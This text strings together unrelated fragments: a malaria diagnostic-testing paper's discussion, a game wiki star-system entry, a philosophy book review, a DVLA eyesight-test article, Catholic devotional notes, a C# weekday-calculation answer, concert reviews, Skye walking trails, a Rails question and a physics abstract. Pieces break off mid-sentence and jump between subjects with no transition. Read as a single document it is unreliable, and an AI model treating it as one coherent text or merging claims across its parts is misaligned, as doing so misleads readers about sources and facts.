care-seeking behaviour; and, malaria epidemiology. Indeed, the study hypothesis is implicitly grounded in an assumption that all febrile children have similar access to medicines irrespective of testing status, and that untested paediatric fevers are presumptively given malaria treatment while only a sub-set of tested ones are treated (e.g., positive cases). There are numerous reasons why this hypothesis may not hold in routine programme conditions, particularly at the outset of new guidelines, and that significantly different results may be observed across countries. One important issue is that countries included in this analysis had relatively low diagnostic test coverage at the population level given the early assessment. This low coverage plausibly indicates that diagnostic services remained concentrated at higher-level facilities that generally have better medicine stocks and more severely ill patients, both of which increase treatment likelihood. Indeed, *available diagnostics and medicines* was a main theme identified in this study to explain varying results (see Table [4](#Tab4){ref-type="table"}). This is consistent with other research suggesting that access to care is the greatest contributor to reduced systems effectiveness for malaria case management in Zambia \[[@CR47]\]. This theme was cited as a main explanation for results across all case study countries. In Mozambique and Burundi, for example, diagnostic services were concentrated at hospitals at the time of survey fieldwork given the lack of RDT scale-up (e.g., Burundi) or widespread RDT stock-outs (e.g., Mozambique). At the same time, both of these countries experienced ACT shortages at peripheral clinics such that febrile children attending locations with diagnostic tests probably had better access to medicines. General poor access to formal care and low use of informal providers (e.g., drug shops) in these countries may have further compounded the vast under-treatment of untested paediatric fevers. Yet, in Benin and Malawi, diagnostic services seemed less a marker of access to medicines. In Benin, there were mixed reports about RDT and ACT availability at peripheral facilities around this time \[[@CR9],[@CR44]\], and drug shops without diagnostic services are widely used to obtain medicines. In Malawi, a national facility survey indicated ACT and other medicines were commonly available at peripheral clinics that lacked diagnostic services \[[@CR20]\]. In Uganda and Rwanda, in contrast, diagnostic services were more widely available at this time with microscopy at Ugandan health centres and RDT at the community level in Rwanda \[[@CR44]\]. In Uganda, however, reported ACT stock-outs at health centres with microscopy services could also have impacted its results. As countries move towards universal test coverage, it is, therefore, reasonable to expect that expanded access to testing and care could reduce the strong association between diagnosis and malaria treatment found in this analysis. Yet, other factors may still influence this relationship at the population level even if universal test coverage is achieved. Other main themes identified in this study included *quality of care*, *care-seeking behaviour* and *malaria epidemiology*, which have also been described elsewhere \[[@CR6],[@CR7],[@CR25],[@CR48],[@CR49]\]. Finally, Rwanda and Uganda results also suggest that reductions in malaria treatment associated with testing may be met with increased antibiotic use, which has been documented in facility-based research from Tanzania \[[@CR13],[@CR15]\]. Given strong concerns about irrational antibiotic prescription habits \[[@CR50]\], this finding merits investigation in future facility-based adherence studies as well. From a programme perspective, countries could potentially improve population-level results, as exemplified by Rwanda, largely by expanding access to testing and care and improving quality case management. Findings also suggest the impact of diagnostic-scale up on treatment decisions may not be straightforward in routine programme conditions given such issues as access to formal care, treatment-seeking behaviour or supply stock-outs. For example, in settings where there is poor access to formal care or where the informal sector is widely used, diagnostic services may need to be extended through integrated community case management approaches \[[@CR51]\]. This could not only improve access to testing and care, but also help ensure that non-severe febrile illnesses are at least as likely to get tested as severe cases. Indeed, diagnosis of less severe cases is arguably more informative given the overlap of initial malaria symptoms with other illnesses \[[@CR52]\], the critical need to reduce delays in appropriate fever management \[[@CR53]\], and the plausible better test adherence for less severe patients as hypothesized in case studies. This study is the first to use routine national surveys to examine the effect of diagnostic testing on paediatric fever treatment at the population level in a standardized manner across multiple countries and among key sub-national groups. As part of a mixed-methods approach, a typology to describe the complex phenomena that could drive results at the population level is presented, which draws on similar evaluation methods in health services research \[[@CR54]\]. The inclusion of multiple countries with contrasting results and common explanatory themes lends support to the external validity of conclusions (known as theoretical replication) and the potential application of this typology to other contexts \[[@CR27]\]. In fact, future quantitative research using these datasets could potentially employ these themes to predict the relationship between testing and treatment at the population level in other countries or over time as RDT scale-up continues. This typology could also serve as a standard framework to assess programmes in routine conditions, and may be particularly informative for countries without more robust evidence. Another benefit of DHS analyses is to help identify countries (e.g., Mozambique) or issues (e.g., malaria risk) where further facility-based research or programme attention may be warranted. There are notable data limitations. First, data in this analysis are from 2010--2012 and many studied countries began wide-scale RDT deployment after these surveys were conducted \[[@CR44]\]. Recent research shows improved test-based treatment practices over time \[[@CR5],[@CR8]\] and new methods hold promise to further improve case management \[[@CR55],[@CR56]\]. Countries could show different results in future analyses, and this assessment could be repeated once new datasets become available. Second, surveys do not record a child's test result and analysis of (in)appropriate case management is not possible using these data. Without the test result, quantitative findings alone are quite difficult to interpret. The mixed-methods approach was developed to help understand results but provides only a set of plausible explanations as a basis for further quantitative research. Third, analyses of observational data are prone to residual confounding issues and two key variables are not directly measured in surveys that confound the exposure-outcome relationship: illness severity and 'well-stocked' facility attendance. This analysis was limited to DHS datasets that contained specific proxy variables for these issues, but the relationship likely remains confounded as highlighted in case studies. Finally, caregiver recall of medicines given to sick children has shown mixed results in studies \[[@CR57],[@CR58]\]. There may be worse recall among poor, rural or less educated mothers \[[@CR59]\], which could over-estimate effect differences across countries if there are systematic differences in populations with access to testing and treatment. Conclusions {#Sec20} =========== This paper is the first to quantify the influence of diagnostic testing on paediatric fever treatment at the population level in a standardized manner across multiple countries, and is presented as part of a mixed-methods approach to explain country results. Significant country variation was found in the effect of diagnostic testing on paediatric fever treatment at the population-level, and qualitative results suggest the impact of diagnostic-scale up on treatment decisions may not be straightforward in routine programme conditions given contextual issues such as access to care, treatment-seeking behaviour or supply stock-outs. Despite data limitations, quantitative results could help identify countries (e.g., Mozambique) or issues (e.g., malaria risk) where facility-based research or programme attention may be warranted. The mixed-methods approach brings together population- and facility-based data, programme documents, research studies, and expert opinions and could potentially be used to assess routine programmes across countries or over time to help fill critical evidence gaps. Additional files {#Sec21} ================ Additional file 1:**

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Triangulum Alpha is a star system. HUB-V-19A Triangulum Alpha is a star system in the universe of No Man's Sky. It is part of a Tri-System colony dubbed the “Triangulum Tri-System”. HUB-G-165 Triangulum Beta and HUB-V-17E Triangulum Gamma are the two other systems that make up the Triangulum Tri-System Colony. Planets & Moons [ edit | edit source ] This star system contains six planets: Cobalt (Barren, Somehow lush)]] Eusdensweih (Verdant, High fauna)]] Oyleessew-Reyag (Barren, Thamium rich)]] Toxic (!) (Extremely Toxic)]] Vatiena-4 Lokinsa (Bleak, No fauna)]] Wirandovichautar (Toxic, Rich fauna)]] Vy'keen Space Station Vendor [ edit | edit source ] The following blueprints are sold by the NPC vendor in this system’s Space station: 0469 : 0081 : 0D6D : 019A Hub Management System Info [ edit | edit source ] Distance to Center: 166594.5 Light Years Distance to SouthernLight: 368.8 Light Years Distance to Rentocniijik Expanse Black Hole: 107.9 Light Years Distance to FistOfTheNorth: 97.7 Light Years Galactic Hub Project subreddit PilgrimStarPath Galactic Hub Interloper Handbook 2007.06.14 Margaret Gilbert A Theory of Political Obligation: Membership, Commitment, and the Bonds of Society Published: June 14, 2007 Margaret Gilbert, A Theory of Political Obligation: Membership, Commitment, and the Bonds of Society, Oxford University Press, 2006, 332pp., $55.00 (hbk), ISBN 0199274959. Reviewed by David Lefkowitz, University of North Carolina, Greensboro Does membership in a political society, in and of itself, involve obligations to uphold that society’s political institutions?Margaret Gilbert offers a novel argument in defense of an affirmative answer to this question, which she labels the membership problem.Given a plausible construal of the concepts obligation, political society, and membership in a political society, Gilbert argues that it follows analytically that to be a member of a political society just is to have an obligation to uphold and support that society’s political institutions.The key to Gilbert’s argument is the idea of a joint commitment; those who jointly commit to X as a body thereby acquire obligations vis-à-vis the others with whom they jointly act.Social groups, including political societies, exist as the result of such a commitment amongst those who constitute them.In virtue of their joint commitment, agents form a plural subject, and so Gilbert titles her solution to the membership problem the plural subject theory of political obligation. As a renewed and improved defense of two historical accounts rarely given much credence today, namely an argument by appeal to conceptual analysis and an argument by appeal to actual consent, Gilbert’s book deserves the attention of all those concerned with the topic of political obligation.Moreover, given her intriguing analysis of a wide range of social phenomena, including promises and agreements, Gilbert’s book merits the attention of a wider audience as well. Consider, first, the concept of a genuine obligation. To have a genuine obligation to do a certain thing is, first, to have sufficient reason to do that thing.According to Gilbert, “X has sufficient reason for performing A if and only if a consideration C that speaks in favor of X’s doing A is such that, all else being equal, rationality requires that X do A, given C” (29).If there is a consideration that speaks against X’s doing A, such that it would not be irrational for her to fail to do A, then all else is not equal.Second, Gilbert endorses the common characterization of genuine obligations as relatively conclusive, by which she means that they defeat or trump inclination and self-interest as reasons for action.That is, if one has a genuine obligation to do A, then holding all else equal, one rationally ought to do A even if inclination and/or self-interest speak against doing it.Genuine obligations are not necessarily absolutely conclusive reasons for action, however; a second obligation (perhaps of a different sort) may provide a rational justification for not doing what one has a genuine obligation to do. Gilbert contrasts genuine obligations with what she labels imputed obligations, which might be best understood as obligations alleged to provide sufficient reason for action, but which may not do so.Legal obligations are an example of imputed obligations; they may provide sufficient reason for action, but they can exist without doing so.More important, however, is Gilbert’s claim that to be bound by a genuine obligation is not necessarily to be bound by a moral requirement.Philosophical discussion of political obligation typically assumes that what is at issue is a particular kind of moral reason for subjects to support the state that rules them.In contrast, Gilbert aims to demonstrate that members of a political society have genuine obligations to support its governing institutions, even if they do not have any moral reason to do so (or indeed, even if morality gives them reason not to support their governing institutions, all things considered). Next consider the concept of a social group, of which political societies are one type.A set of individuals constitute a social group (and so something more than a mere set of individuals) if they are jointly committed to do X as a body.More precisely, a population makes up a social group if “(1) they are jointly committed to espousing as a body the appropriate goal; (2) they are fulfilling the behavioral conditions associated with the achievement of that goal; [and] (3) their satisfaction of these conditions is motivated in each case by the existence of the joint commitment” (146).Like personal decisions, joint commitments are acts of will, except that while the former are made by individuals singly, and provide reason to act only for that agent, joint commitments are made collectively by two or more people, and bind collectively all those who together make the commitment. By jointly committing to espouse as a body some goal, the parties to the joint commitment acquire genuine obligations to one another.That is, the joint commitment provides a relatively conclusive sufficient reason for action to those agents who have made it; at the very least, they rationally ought not to act from inclination or self-interest in cases where doing so conflicts with upholding the joint commitment.Gilbert emphasizes that “a joint commitment obligates by virtue of its structure, that is, by virtue of its jointness,” and not the circumstances of its creation, the content of the obligations it creates, or some feature of the goal to which the parties are jointly committed (163).Thus Gilbert’s analysis of obligations of joint commitment clear the way for what is perhaps her most startling claim: that joint commitments create genuine obligations even in coercive circumstances, or when the goal the parties are jointly committed to espousing is an immoral one.I return to this point below. Given an analysis of social groups as founded on joint commitments, the idea of membership in a particular social group can be understood in terms of being a party to the joint commitment that constitutes the group.In virtue of the parties having jointly committed to pursue the goal in question, each also enjoys the standing to demand certain conduct from the others, or to rebuke them when the requisite acts are not undertaken.Gilbert also appeals to the notion of a joint commitment to explicate other phenomena frequently associated with membership in a social group, such as the sense of betrayal when a group member fails to uphold the joint commitment. In order for two or more people to enter into a joint commitment, each must express a readiness to be jointly committed with the other to doing X as a body, and the expression of readiness by each must be common knowledge to all.Meeting the readiness condition requires that each agent be aware that by doing or not doing a certain act, certain normative consequences will follow (e.g. that she will owe certain conduct to the other with whom she has become jointly committed), though Gilbert emphasizes that an agent need not enter a joint commitment deliberately.The necessary expression of readiness can take many forms, including not only a statement to the effect that one is prepared to jointly commit with others, but also actions undertaken against a background that makes them intelligible as expressions of readiness to be jointly committed.In the latter case, one act may suffice, or the necessary expression of readiness may require a series of actions over time. Societies are a particular kind of social group, distinguished from other types of social groups by the fact that the joint commitment that constitutes them is to a social rule.Gilbert writes that “there is a social rule in population P if and only if the members of P are jointly committed to accepting as a body a requirement (or fiat) of the following form: members of P are to perform action A in circumstances C” (197).Political societies are ones whose members are jointly committed to a particular kind of social rule, which Gilbert labels a governing rule.Roughly, governing rules are those that “settle a matter that demands settling for the sake of the peaceful progress of life” (186).Governing rules come in two types: personal, in which the members of a political society are jointly committed to doing what a particular person commands them to do, and rules of governance

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carried out by government appointed optometrists, but the DVLA now admits that the test results were false. This will mainly apply to people with glaucoma and diabetes retinopathy, both of which can cause visual field loss. The DVLA is refusing to compensate drivers, many of whom have been forced to sell their cars, pay for taxis or other forms of transport, not to mention people who could have lost their jobs as a result of not being able to drive. The DVLA blames the makers of the equipment for the fault, which was a software problem in the equipment causing the lights to shine less brightly than they should have. Some people may have been able to detect the lights if the higher brightness level had been used and these people should not have lost their licences. Although the DVLA maintains that as soon as they were aware of the problem, they contacted everyone who had been tested on the faulty equipment, it not only rejects liability but has made it very difficult to make a claim against the equipment manufacturer by refusing to disclose the company name. However, the government agency could face a potential multi-million-pound bill if people joined together using the new-style class legal actions permitted under the recently enacted Consumer Rights Act. The agency says that of the 604 people affected, less than half of those who replied have sought to reapply for their licences; 71 are still awaiting a reassessment; and the DVLA is trying to get in touch with the 232 who have not yet responded. Around 80% of those who agreed to be reassessed have since had their licences restored. The contract with Specsavers Prior to 2013, the DVLA had a list of ‘approved optometrists’ for people to attend but since 2013, everyone who is required to have a field test by the DVLA has to go to a branch of Specsavers, dissatisfaction already discussed in IDDT Newsletters. The Guardian quotes the DVLA as saying …the contract had to be tendered in accordance with the Public Contracts Regulations 2006. Specsavers provided the most economically advantageous tender.” It was worth £8million to Specsavers. Unanswered questions Apparently Specsavers claim that it is thanks to its exclusive contract with the DVLA that the problem with the visual field analysers came to light. While this may be meant to be reassuring, it leaves some unanswered questions. Does the DVLA know who was tested on the faulty equipment between 2010 and 2013 when a variety of optometrists were used? Has everyone that should be contacted, been contacted? The answers are not clear but if you feel that this could apply to you, we recommend that you appeal to the DVLA.Older magazines designed to appeal to movie fans of the past Published from 1915-1931. Began as a supplement to Motion Picture Magazine (1915). Also known as Classic (1922-1924) and Classic Pictorial of Screen and Stage (1924).Print issues from 1915-1917 and 1921-1931 located in Buhr Shelving Facility at call number: 808.25 M916 Published from 1911-1960s(?). The first movie-fan magazine in America. Also known as Motion Picture Story Magazine (1911-1914), Motion Picture (1938-1951), and Motion Picture & Television Magazine (1951-1954).Many print issues from 1911-1959 located in Graduate Library and Buhr Shelving Facility at call number 808.25 M92 and are being scanned for Hathi Trust Digital Library and Google Books. Selected print issues from 1911-1915 located in Clements Library Remote Storage.Catholic Culture Update for the week beginning October 13th, 2013 Quote to carry in your heart for the week. “O sing to the Lord a new song” Psalm 98 October 13th is the Twenty-Eighth Sunday in Ordinary Time. “Once, before we were married, my future wife fell seriously ill. We lived in an underdeveloped country then, during a vicious war. Medicines for civilians were hard to come by and medical experts were few. I would have given anything to have been able to help cure her and, when she recovered, my gratitude knew no bounds. I think of this time in my own life when I hear the story of the ten lepers who were healed by Jesus. I can understand how the depths of despair were fed by such a severe illness, leading this foreigner, a Samaritan, to call upon the mercy of an unknown itinerant teacher. When the chips are down, we become open to anything. The work of Jesus was to make known the design of God for humanity. To do this, he preached to the crowds. But as Luke’s Gospel rightly tells us, Jesus also explained the love of God by his actions. Jesus lavished special attention upon the needs of the poor, especially those who were sick and had lost all hope. This love was even extended to Samaritans and ‘foreigners.’ We are asked to do the same if we desire to live lives of authentic holiness. Can the Christian communities of today truly preach (and authentically live) the Gospel if we pass by the lepers of today without responding to their needs?” Joseph Gunn, October Living with Christ, page 73. Compassionate God, help us to see the lepers of today and to respond to their needs. Spend some time pondering “Who are the lepers of today?” October 14th is Thanksgiving Monday. Let us give thanks for the endless blessings that are ours because we live in a developed country like Canada. Gracious God, thank you for all you offer to us freely every day. Say thank you to someone you don’t usually say thank you to. October 15th is the memorial of St. Teresa of Avila. “As a little girl in her parents’ rich home, Teresa and her brother Rodrigo loved to read the lives of the saints and martyrs. It seemed to them that the martyrs got to heaven an easy way. The two children set out secretly to go to a faraway land, where they hoped they would die for Christ. But, fortunately, they had not gotten far when they met an uncle. He took them back to their worried mother at once. Next the children decided to be hermits in the garden. This didn’t work out either. They could not get enough stones together to build their huts. St. Teresa herself wrote down these amusing stories of her childhood. The fact is that when she became a teenager she changed. Teresa read so many novels and foolish romances that she lost much of her love for prayer. She began to think more of dressing up to look pretty. But after she recovered from a bad illness, Teresa read a book about the great St. Jerome. Then and there, she made up her mind to become a bride of Christ. She entered the Carmelite Order in 1536.” Saints for Young Readers for Every Day vol. 2 pages 188-189. St. Teresa, inspire us to grow in courage and faithfulness to Jesus’ message of love. St. Teresa had a sense of humour. Once, her carriage broke down, and she was thrown outside into the rain and mud. “If this is how you treat your friends, no wonder you have so few!” she said to God. Renew your friendship with God today. Talk to God like you talk to your friends. October 16th is World Food Day. “Sustainable Food Systems for Food Security and Nutrition” will be the focus of World Food Day in 2013. The official World Food Day theme – announced at the start of every year by the Food and Agriculture Organization of the United Nations (FAO) – gives focus to World Food Day observances and helps increase understanding of problems and solutions in the drive to end hunger.” http://www.fao.org/getinvolved/worldfoodday/en/ Whatever you eat today, give thanks! October 16th is the memorial of St. Marguerite d’Youville. “Marguerite was born in Quebec, Canada, on October 15, 1701. Her father died in 1708 and the family lived in poverty. Relatives paid her tuition at the Ursuline convent school in Quebec. Her two years at the boarding school prepared her to teach her younger brothers and sisters. Marguerite was gracious and friendly. She helped support her family by making and selling fine lace. In 1722, Marguerite married Francois d’Youville. It seemed like the marriage was going to be a truly happy one. But Francois’ real self came out as the months passed. He was more interested in making and spending money than in being with his family. He left Marguerite alone with their children and did not take care of them. Francois died quite suddenly in 1730 after eight years of marriage. He left Marguerite with large debts to pay. A kind priest named Father de Lescoat gave her courage. He assured her that she was loved by God and that soon she would begin a great work for him. Marguerite took in a blind, homeless woman on November 21, 1737. This marks the beginning of a marvelous work of caring for the sick poor in infirmaries and then actual hospitals. She began a community of sisters who became known as the “Grey Nuns,” because of their religious habit was grey. The sisters took over the general hospital in Montreal. It was run-down and very much in debt. People laughed at the sisters. It was hard to believe they would be able to succeed at such a difficult task. But Mother d’Youville and her sisters did not lose heart. They worked, and built, and fixed. Above all, they welcomed everyone in

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public enum Days : byte { Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday }; public enum Months : byte { January, February, March, April, May, June, July, August, September, October, November, December }; class Program { public static void Main(string[] args) { const int numDays = 7; const int numMonths = 12; Months month = Months.Janurary; int monthCounter = 1; int[] daysinMonth = new int[numMonths] { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; int[] daysofWeek = new int[numDays] {1, 2, 3, 4, 5, 6, 7}; Days dayOfWeek = Days.Sunday; dayOfWeek = Days.Friday; foreach (month in Months ) { My brief is: Using only the tools we have covered to date, find the weekday name of a specific date in 2016, working from Friday January 1 2016, using nested loops and comparisons. A: Since you don't want code, I'll give you some explanation and just a little code. Then, once that's all done, there's full code at the bottom of this that will give you all you need for an arbitrary date. However you are interested only in the year 2016. As a result, if you do want todo is calculate the day of the week for a specific year, all you need (from the full code) is the class declaration, and two functions: GetDayNumberFromDate GetDayOfWeekFromDate Explanation and Just a Little Code I would do all this in a static class. You don't need an instance of anything, just a few functions/methods. In that class I would declare and intialize three private variables: An array of 12 integers, each of represents the number of days in each month. Remember that array indexing starts at zero, so you need to subtract one form a month number (1-12) to get the array index (0-11). I also suggest you put a comment noting that 2016 was a leap year and that's why February has 29 days A private const integer (perhaps named YearOfInterest) that is set to 2016. It represents a symbolic alias for the number 2016. Consts make your code easier to maintain (consider if you teacher changes his mind and says "no, do it for 2014" and you used 2016 in six or eight places in your code - if you had a const, you'd only need to change one of those places. Something that represents the fact that January 1, 2016 is a Friday. I would use the System.DayOfWeek enum (yeah, it's library code, but anything you do will be pretty much a character-by-character repeat of that). If you wanted to, you could use your YearOfInterest const int and do something like (which will allow things to work if your teacher changes his mind about the year) That would be a very simple declaration like the following: private readonly static DayOfWeek Jan1DayOfWeek = new DateTime (YearOfInterest, 1, 1).DayOfWeek; I think it's a lot cleaner than just saying: private readonly static DayOfWeek Jan1DayOfWeek = DayOfWeek.Friday; Remember that enums start numbering (by default) at zero, so Sunday is 0 and Saturday is 6. With that done, I'd create two functions: One that calculates the Day Number for a date (i.e., the number of days that have passed in the year until that date (the day number for Jan 1 is 1, and for Feb. 3 is 34). One that calls your Day Number function (i.e., getting an integer) and returns a day of the week. The first function (let's call it GetDayNumberFromDate) takes a two integer date (month and day) does three things: It checks your pre-conditions. Since both those number are user-entered, and users make mistakes you need to make sure than both numbers are equal to or greater than 1, that the month number is equal to or less than 12, an that the day number is equal to or less than the number of days in the month (which you conveniently know - it's in your array (remember to subtract one when you index into that array). If any of these preconditions are not met, throw an exception. This is important. If someone enters a wrong number, you will likely index out of your array (which will throw an exception, but without the information about why it happened). Checking pre-conditions is always good It loops over your "days in a month" array, from the beginning of the array until the month before the month entered (minus one) summing the number of days. If someone enters April 4th, you want to add the number of days in January (31), February (29) and March (31). That will get you to the beginning of the month (well, the last day of the previous month). It adds in the day of the month entered - that gets you to the current day. Since you wanted coaching on the for loop, that loop would end up looking like this: int dayCount = 0; for (int i = 0; i < month - 1; ++i) { dayCount += daysPerMonth[i]; } At the end of the loop, dayCount would tell you the number of days from the start of the year until the end of the month before the entered date. When you add in the day of the month that was entered, presto, you get the day number. Finally, the last function (call it GetDayOfWeekFromDate) also takes those same two integers (month number and day of month number). It calls GetDayNumberFromDate to get the day number for the entered date, subtracts one (since calculations starting from 0 are much easier than from 1) and adds in the integer equivalent of that Jan1DayOfWeek we declared at the beginning ((int) Jan1DayOfWeek). With that in hand, I'd take that number and do a "modulus 7" operation (thatNumber % 7). A modulus is the result of calculating the remainder of an integer division. That will get you a number between 0 and 6. If you cast that number back into a DayOfWeek it will get you a day of the week between Sunday and Saturday. Call ToString on that result, and you have your result. Do not be surprised if the result is off (particularly if it's off by one). Getting this right the first time is tricky. That's where debugging comes in. By the way I would not try to parse a date like "January 1". You'd really need to take care of abbreviations (Jan, Feb,...), and you'd upset folks who can't spell "February". Just use month and day integers. One thing you will notice in all this is that there are no nested loops. There's no need for that, and nested loops can be expensive. This code loops over the number of months that have passed (i.e., less than 12 times). If you were to loop over the months and the days in the month, you would be loop 12 times 30-ish times (i.e., about 366 times). 12 is a smaller number The full code follows: I don't know what you have learned, so this is mostly in pretty basic circa 2005 C#. First a static class with a few basic "constants": static class FigureDate { private static readonly int[] _leapYearDaysPerMonth = new int[] { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; private static readonly int[] _normalYearDaysPerMonth = new int[] { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; private const int YearZero = 1900; //Sunday is zero in DayOfWeek private readonly static DayOfWeek _day0 = new DateTime(YearZero, 1, 1).DayOfWeek; } (By the way, DayOfWeek is a enum defined in the System namespace, so you get it for free. Sunday is 0) I'll be adding more stuff to that class - everything (i.e., all the functions below) goes in there. First, is a particular year a leap year (which is never trivial to figure out): public static bool IsLeapYear (int year) { if (year % 400 == 0) { return true; } if (year % 100 == 0) { return false; } //otherwise return (year % 4) == 0; } Then I figure how may leap years have passed since "day 0" (luckily, 1900 is not a leap year, so the likelihood of an off-by-one error is reduced): public static int NumLeapYearsToStartOfYear(int year) { if (year < YearZero) { throw new ArgumentException($"Only Years from {

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left tit and then, with a charming accent, coos jerkily “mas-tur-bah-syoh.” So yeah, Cocaine Piss songs are short and sensual. Just like any good session of, uh, “happiness.” Copenhagen’s finest (post-)punk-rock band plowed into Brooklyn’s Elsewhere for not only its second show in three nights in the Big Borough but also its final North American date of 2018. Iceage—fronted by madman Elias Bender Rønnenfelt—was supporting startlingly mature fourth album Beyondless (Matador). MAGNET photographer Wes Orshoski risked life and limb at the foot of the stage to get these pain-killing pics. All month, Thom Yorke is touring North America in support of new album Suspiria (Music For The Luca Guadagnino Film) (XL). The Radiohead frontman kicked off the jaunt in MAGNET’s hometown of Philly at Franklin Music Hall and followed up a few nights later at Brooklyn’s King Theatre. MAGNET had photographers at both shows—Chris Sikich (Philly) and Wes Orshoski (NYC)—to make sure Yorke had everything in its right place. Here’s what happened in Brooklyn. All month, Thom Yorke is touring North America in support of new album Suspiria (Music For The Luca Guadagnino Film) (XL). The Radiohead frontman kicked off the jaunt in MAGNET’s hometown of Philly at Franklin Music Hall and followed up a few nights later at Brooklyn’s King Theatre. MAGNET had photographers at both shows—Chris Sikich (Philly) and Wes Orshoski (NYC)—to make sure Yorke had everything in its right place. Here’s the Philly Special. Thom Yorke brought some of his odd beats to Philadelphia on Black Friday to open his North American solo tour. Playing before a sold-out crowd at Franklin Music Hall, Yorke was in fine, loose form, delivering a soundtrack to the emotions just out of focus and underneath the skin in the best Yorkian way possible. Despite recently doing the soundtrack for Luca Guadagnino’s reimagining of 1977 Italian film Suspiria, he and bandmates Nigel Godrich and Tarik Barri only performed one track from the soundtrack (“Unmade”), which ended the show. Yorke chose to stick to his other solo works like Tomorrow’s Modern Boxes and The Eraser. He floated between guitar and keys and mixing board with ease and joy, jumping and twirling onstage while Barri’s fluid images made a colorful backdrop that encouraged the crowd to loosen up to the ethereal sounds. Yorke’s supreme understanding of rock music as a progression of hip and head-shaking beats made the show one of pure aural and visual enjoyment. Tickets sold out quickly, and it would’ve been easy for Yorke to do a second sold-out date, but this night of elliptical sounds did just fine for now. Oliver Coates opened with his avant-garde cello music. With piercing light stands surrounding his stark set-up, he was a great inner-ear warm-up for the night. Mitski concludes her North American tour in support of Be The Cowboy (Dead Oceans) tonight at Brooklyn Steel with Arooj Aftab opening. Starting in late January, she’ll kick off dates in Australia, New Zealand and Asia. Ms. Miyawaki recently played a sold-out, 23-song set at Philly’s Union Transfer, a show added after her previous gig there in October sold out immediately. (Both shows featured NYC duo Overcoats opening.) MAGNET photographer Chris Sikich was at the second show and came away with a loving feeling and these images. This superstar super trio features Nickel Creek fiddler/guitarist Sara Watkins, Grammy-winning singer/songwriter/guitarist Sarah Jarosz and Aoife O’Donovan (known for her stunning vocal work with Crooked Still and Sometymes Why). Debut See You Around shows off I’m With Her’s celestial harmonies, instrumental prowess and impressive songwriting. The women alternate lead vocals, but when their voices blend, moving from two-part to three-part harmonies, the music really takes off. The threesome brought all this and more to Philadelphia’s Union Transfer, playing a 17-song set that included covers of songs by Jim Croce (a Philly boy) and Bill Monroe. MAGNET photographer Chris Sikich was there to capture these girls on film.Walks & wildlife Cuairtean & Fiadh-bheatha The terrace walk along the garden edge boasts some of the best views in Skye, looking over the Sound of Sleat to the mountains of Knoydart. Leading beyond the gardens we have created over 5 miles of nature trails into areas of beautiful mixed woodlands, with plenty of opportunities for wildlife-spotting. You are welcome to take your dog on the nature trails but due to the presence of livestock, please keep them on leads at all times. For walks on the wider estate and Sleat Peninsular download the Paths Around Sleat leaflet produced by Visit Sleat. Estate trails The Red Trail (1.25 miles return) follows the shore of the Sound of Sleat through woodland carpeted in bluebells and wild garlic in spring. Look out through the trees and you may catch a glimpse of otters at play on the shore. The Blue Trail (1.5 miles return) takes you through farmlands and woodland with open glades with views of Armadale Castle nestling amongst the trees. A spur off this path heads north to Armadale Hill (Cnoc Armadail), extending the walk to 3 miles. A panoramic viewpoint lays the magnificent Sleat peninsula before you, framed on one side by the spectacular Cuillin Ridge and on the other by the mainland hills of Knoydart. This is the territory of red deer and golden eagles. Wildlife Our gardens and wider Estate offer visitors the chance to see many of Scotland’s iconic wildlife species in their natural environment including red and roe deer, otters and a huge variety of birds including skylarks, lapwings, shearwaters, diving gannets and golden eagles. The sea (white tailed) eagle has been re-established on Scotland’s west coast and you may well see one of these magnificent creatures soaring above you as you explore the Estate. The sea around the Estate is home in the late summer to basking sharks and minke whales, while porpoises can be seen in many of the bays from the spring onwards. You can sometimes spot otters playing on the shore beneath the terrace walk. Walking through the ancient woodland of Dalavil you might even see an adder. If you do see this snake’s distinctive markings, go quietly and carefully, and the adder should slip away.Q: Why am I getting this printed instead of my flash message? # I have upgraded my application to Rails 3.1 and now this is appearing where there should be the flash[:notice] message:#<ActionDispatch::Flash::FlashHash:0x7fd9f99acc90>. When inspecting the value, I end up concluding that the 'variable' flash is a ActionDispatch::Flash::FlashHash and contains a ActionDispatch::Flash::FlashHash as value for the notice key. Did anyone have the same problem? How can I fix this? The flash is being set with: flash.notice = "The Subscription was created successfully." or with redirect_to(blablabla_path, :notice => 'The Subscription was successfully updated.') and it's being printed with (haml): - if notice .notice= notice This is happening to me in every action.. There's more about the code where this problem is occuring here: respond_with redirect with notice flash message not working A: It was fixed. The show redirect has been preceeded by flash.keep instead of explicitly passing the flash as argument. --- abstract: 'Based on the Lindblad master equation approach we obtain a detailed microscopic model of photons in a dye-filled cavity, which features condensation of light. To this end we generalise a recent non-equilibrium approach of Kirton and Keeling such that the dye-mediated contribution to the photon-photon interaction in the light condensate is accessible due to an interplay of coherent and dissipative dynamics. We describe the steady-state properties of the system by analysing the resulting equations of motion of both photonic and matter degrees of freedom. In particular, we discuss the existence of two limiting cases for steady states: photon Bose-Einstein condensate and laser-like. In the former case, we determine the corresponding dimensionless photon-photon interaction strength by relying on realistic experimental data and find a good agreement with previous theoretical estimates. Furthermore, we investigate how the dimensionless interaction strength depends on the respective system parameters.' address: | $^1$Scientific Computing Laboratory, Center for the Study of Complex Systems, Institute of Physics Belgrade, University of Belgrade, Serbia\ $^2$Faculty of Physics, University of Vienna, Austria\ $^3$Physics Department and Research Center OPTIMAS, Technische Universität Kaiserslautern,

